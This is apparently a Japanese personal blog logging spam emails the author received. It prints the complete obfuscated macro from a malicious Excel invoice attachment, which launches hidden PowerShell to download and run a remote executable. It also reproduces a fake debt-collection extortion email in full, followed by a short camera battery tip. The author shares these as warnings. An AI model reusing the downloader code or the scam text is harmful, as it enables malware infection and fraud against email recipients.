SSブログ

件名「請求書」メールがきた。 [その他]

件名「請求書」メールがきた。
差出人 yono@xg8.so-net.ne.jp
宛先 xxxxxxx@js6.so-net.ne.jp   noorinor@js6.so-net.ne.jp
CC     gotoh-k@js6.so-net.ne.jp
添付ファイル の請求書2.xls マクロあり
本文
いつもお世話になっております。

請求書送付させて頂きます。

宜しくお願い致します。

添付ファイルがxlsエクセルファイルなのでCalcで開いてみた。
OS kubuntu16.04 64bit
LibreOffice 5.1
mail_xls.png

文字化けしてる。
の請求書2.xls - LibreOffice Calc_024.png
LibreOffice Basic マクロ_025.png
マクロのソース 
Function ffversio()
ffversio = Array(Nz, Null, Null, Minute(Now), Null, Minute(Now), "C" + Chr(77), Minute(Now), Hour(Now), Nothing, 0, 1)
End Function
Function natgeo1()
natgeo1 = Array(Nz, Null, Nz, "d" & newrenberf + Right(Left(wherestr, 6), 1) + volvocar, Minute(Now), Hour(Now), Nothing, 1, 1)
End Function
Function photosym()
photosym = Array(Nz, Nz, Minute(Now), Hour(Now), Right(Left(wherestr, 6), 1) & "  " + Chr(47) + "c """, NaN, Null, Nothing, 0, 0)
End Function
Function bulkname()
    bulkname = """"
End Function
Function crownsilv()
nordwest = "simple Gathen textiles"
crownsilv = Right(Left(nordwest, 11), 2)
End Function
Function centrecity()
optiii3 = "^if" + "^or^"
simtown = "'e" & volvocar & "e.%" + "p" + "met%' ^sse^cor" + "p-t^" + "rats^;^)'e"
centrecity = simtown + volvocar & "e.%pm" + "et" + "%','e" & volvocar & "e" + newrenberf + "dme" + Chr(47) + "ten.derpo" & Chr(47) & "/:p" + "t" & crownsilv & "'(e^l^i^fd" + didntuse + "od.^)t^n^ei^lc^b^ew.^t^en.me^t^sy^s tcej^bo^-w^en^(^ ned" + "di" + Chr(94) + "h e^lyts^wo^dn^iw^- ^e^l" + optiii3 + "p^o^n-"
End Function
Function dgeeroo()
dgeeroo = "  -e"
End Function
Function volwramms()
volwramms = Array(xlZero, xlLabelPositionAbove, vc, vc, vc, vc, Null, vc, msoSyncAvailableNone, msoSyncAvailableNone, vc, vc, "prO^F", vc, Hour(Now), vc, vc, vc, Null)
End Function
Function cropells()
cropells = "^xe^  "
End Function
Sub Workbook_Open()
If xlThick > 0 Then
If xlChartElementPositionAutomatic < 0 Then
vieweanas = Shell(Join(Array(ffversio()(6), natgeo1()(3), photosym()(4)), "") & zibberff & StrReverse(centrecity) & bulkname, O)
End If
End If
End Sub
Function wherestr()
wherestr = "figure xcoords"
End Function
Function volvocar()
volvocar = Left(Right(wherestr, 7), 1)
End Function
Function didntuse()
msdetes = "^a" + "ol" + "n" + "w^"
didntuse = msdetes
End Function
Function newrenberf()
vincodetr = "!!=-.-"
newrenberf = Left(Right(vincodetr, 2), 1)
End Function

Function zibberff()
fdumps = "p^O"
bzzz = Array(xlZero, Pos, 0, xlLabelPositionAbove, Null, Pos, Minute(Now), Pos, Pos, Pos, "s ", Pos, Minute(Now), Pos, Pos, Pos, Null)
gunleft = Array(vbNull, Pos, Minute(Now), Pos, "yahoo", Pos, Null, Pos, Pos, Pos, Pos, 1, Pos, "pa^", Pos, Pos, Null)
libgher = Array(vbNull, Pos, Pos, "Y", Pos, Pos, Null, Pos, Pos, "A", Minute(Now), Pos, Hour(Now), Pos, 2, Pos, Pos, Pos, Null)
qqpp1 = Array(vbNull, Pos, Pos, Pos, Minute(Now), Pos, Null, Pos, 0, Pos, Pos, Pos, 12 + 7, Pos, "^u", Pos, "google")
fijkol = Array(vbNull, Pos, "bind", Pos, Day(Now), Pos, Null, "^Ec", Pos, Pos, Hour(Now), Pos, Pos, "seyshells", Pos, Pos, Pos, Pos, Null)
q190 = Array(2, vbNull, Pos, Pos, Pos, Pos, Null, Pos, Pos, Pos, Minute(Now), Pos, Pos, "DO^ws^ 1", Pos, Pos, Pos, Pos, Null)
simsim = Array(1, vbNull, Pos, Pos, Minute(Now), Pos, Null, 3, Pos, Pos, Pos, Pos, 1, Pos, Pos, Minute(Now), "^Ni^Nt", Null)
df001 = Array(2, 1, vbNull, Minute(Now), "  -W^In", Pos, Null, Pos, Pos, Pos, Pos, "-nO^", Pos, Pos, Pos, Pos, Null)
llmoll = Array(1, vbNull, Pos, Pos, Minute(Now), "^hel^l", Null, Pos, 2, Pos, Pos, Pos, Pos, Nothing, Pos, Null, Pos)
ooolem = Array(2, vbNull, Pos, Minute(Now), "^ERS", Pos, Null, Pos, Pos, Nothing, Pos, Pos, Null, Pos, Pos, Null, Pos)
kropots = Array(x1, vbNull, Minute(Now), 2, Pos, Pos, Null, Pos, Pos, Pos, "W", Pos, Pos, Null, Pos, Pos, Pos, 0)
gobelens = "^.e" & cropells & df001(11) + "l -No" + simsim(16) + Chr(94) & df001(4) & q190(13)
zibberff = fdumps & Array(kropots(10) & ooolem(4) & llmoll(5) & gobelens + " -No" & volwramms(12) & "Il" + "e^" & dgeeroo & "X" & fijkol(7) & qqpp1(14) & "  B^" + libgher(3) & gunleft(13) & "S^" & bzzz(10))(0)
End Function

IPアドレス
  10.168.4.51
ホスト名 ip-10-168-4-51.ap-northeast-1.compute.internal
IPアドレス割当てエリア
判定不明

件名「電磁記録追跡による債権回収委託手続きの通知」メールがきた。 [その他]

件名「電磁記録追跡による債権回収委託手続きの通知」メールがきた。

差出人 [CKS]通信契約紛争仲裁機構 <info@69u0qctlj42i0.link>
受信  xxxxxx@yahoo.co.jp
添付ファイルなし

本文
※本通知は『法的証拠能力のある電子署名付き証明書』、『電磁的記録又は文書に準ずる物件』であり、
民事訴訟法第231条にて「準文書」に相当し、「文書と同等に扱うもの」になり、
民事・刑事の訴訟では「証拠能力を有するもの」となります。 当職らは貴殿の登録情報のある情報サイトにおいて利用料金の未納が続いた為、提携信用情報機関により回収の任を承りました。 《xxxxx@yahoo.co.jpへの通知理由》 登録状態にあったWEBコンテンツにおいて利用意思が無くなった際に「自身のアドレスを記載して解約希望」と
申請せずに放置した事による料金 貴殿(本メールアドレス所有者)はWEBContents(インターネット上における電子商取引に基づいた
有料サイト及び無料期間を設けた月額制サイト)ご登録後、無料期間終了後に正式な解約処理を行わないまま
放置をされ 現在、利用料金を滞納している状態となっております。 電子商取引による利用履歴に基づき、貴殿に対して利用料金のお支払については、再三のインフォメーション内の
督促通知にてお知らせしていたにもかかわらず、支払いがなく、現在多額の延滞金が発生しております。 2017年6月5日現在 未納金総額 (【798.500円】 ) ※個人情報に配慮し一部非表示※ ※遅延金等を含む つきましては、未納分及び延滞損害金をお支払頂く様本状にて勧告とし、貴殿に穏便に問題解決する意思がある場合
は、当方にて合意解約(和解契約)の手続きを行えるよう手配致しましたのでご確認ください。 ■合意登録解除とは■ 本通知確認後、速やかに本状より登録の解除の申請を行った場合は、利用者の意思を尊重し、
発生している未納金および損害金の支払いが免除され、登録情報の削除が行えます。 当方での代行手続きにより該当コンテンツの解約処理完了時に本状および貴殿の個人情報は削除され、当該請求が停止および免除となります。 完了時、希望する場合にはデータ消去証明書等を発行します。 合意解約によりコンテンツ管理元との債権債務が解消され、貴殿との和解が成立します。 ↓申請の手続き方法↓ 継続利用の意思が無く未納分の支払い免除措置を希望する場合は、本状を閲覧後、本メールに「合意登録解除」
と記入の上そのままご返信下さい。 ※必ず本状が受信されたアドレスからご返信下さい。 その他のアドレスからではご本人確認が取れず申請が無効となります。 尚、このまま和解手続き、および支払い意思の連絡、いずれかのご返答が確認できなかった場合は
債権回収三次団体への委託処分となります。 債権回収三次団体は国からの認可を受け、合法的な強制処分を執行できる機関となります。 1.ご口座及び給与の差押え 2.所有財産(ご自宅、家財、車)の競売処分 3.自宅への訪問及びご自宅のポスト及びドア等への督促状の貼り付け 4.ご親族、職場へのご連絡と代理返済の要求 を代理人弁護士を通じて法的手続きによる執行と致します。 このような事態にならないよう貴殿の速やかな対応をお願い致します。 ※ご自宅訪問の際は財産物の強制没収と売却が行われます。 (テレビやパソコン、携帯電話など生活必需品以外の全ての財産物を強制売却致します) 上記のように、手続きを拒否した場合認可団体へ債権が委託され日常生活に支障をきたし、
更に親族や知人にまで多大な迷惑がかかる事となります。 貴殿の速やかな対応が予期せぬトラブルを防ぎ、これ以上の請求の発生を防ぐ唯一の手段となりますのでご対応の程、お願い申し上げます。 以上

------------------------------------------------------------------------------
無視するのは当然ですが、こういうメールが来ると気分が悪い。

メールのソースを見たら(ソースの見方はよくわかりません)
143.54.244.103のipアドレスがあったのでIPひろばで調べたら
IPアドレス
  143.54.244.103
ホスト名 対応するホスト名がありません。
IPアドレス割当てエリア
ブラジル
都道府県(CF値) ブラジリア連邦直轄区 ( 0 )
市区町村(CF値)  
ブラジルらしい。

追記

X-Originating-IP: [223.252.175.72]
X-Original-To
送信者が本来送信した宛先。
受信したメールサーバで別のメールアドレスに転送している場合などに付加される。


X-Originating-IP: [223.252.175.72]

IPアドレス
  223.252.175.72
ホスト名 static-ip-72-175-252-223.firstspaceone.net
IPアドレス割当てエリア
中華人民共和国
都道府県(CF値) 广?省 ( 40 )
市区町村(CF値) 深圳市 ( 10 )
推測 中国から発信してブラジル経由でyahoo.co.jpにかな?


IPアドレス
  103.244.54.143
ホスト名 69u0qctlj42i0.link
IPアドレス割当てエリア
香港
都道府県(CF値) 該当なし








連日怪しいメールが来る。 [その他]

連日怪しいメールが来る。
Mozilla Thunderbird_001.png

件名 駐禁報告書

宛先が私のアドレスではない。
添付ファイルがある。
黙って削除すればいいと思っても、毎日いらつきます。

件名「請求書「invoice」 (18600) 」怪しいメールが来た [その他]

また怪しいメールがきた。
件名 請求書「invoice」 (18600)

本文

本社管理部

お疲れ様です。

添付ファイルのご確認、宜しくお願いいたします。

 

**********************************************
東日本営業部
ファックス:03-5781-4536
携帯:090-5210-8739
E-MAIL:info@magicbus.co.jp
**********************************************

添付ファイル 重要.doc


 

 

 

-----------------------------------------------------------------------------------------------------------


デジカメ(単三電池仕様)で充電池が容量が少なくて起動出来ない時の対処方法 [その他]

デジカメ(単三電池仕様)で充電池が容量が少なくて起動出来ない時の対処方法
使用しているデジカメは単3充電池で容量が減ってくると、電源を入れてもレンズが出てきてすぐにレンズが引っ込み電源が切れる。
撮影したい時に使えないのはストレスになる。
予備の電池を持ち歩く、電池を新品にすれば良いだけの話のなのでけれど、今使用している古い充電池も使いたい。
どうすれば良いかは、電源を何回か入れなおせばストロボ用のコンデンサーが充電され起動時に大きな電流が必要なくなるので起動できるようになる。
ストロボを使用しなければ何枚かは撮影できる。
追記
電源何回か入れなおせば使えるなるのは、充電池の温度が上がって使えるようになるらしい?
ニッケル水素電池などは古くなると温度が低いと性能が低下するらしい・
ストロボの仕組み


Linuxランキング

この広告は前回の更新から一定期間経過したブログに表示されています。更新すると自動で解除されます。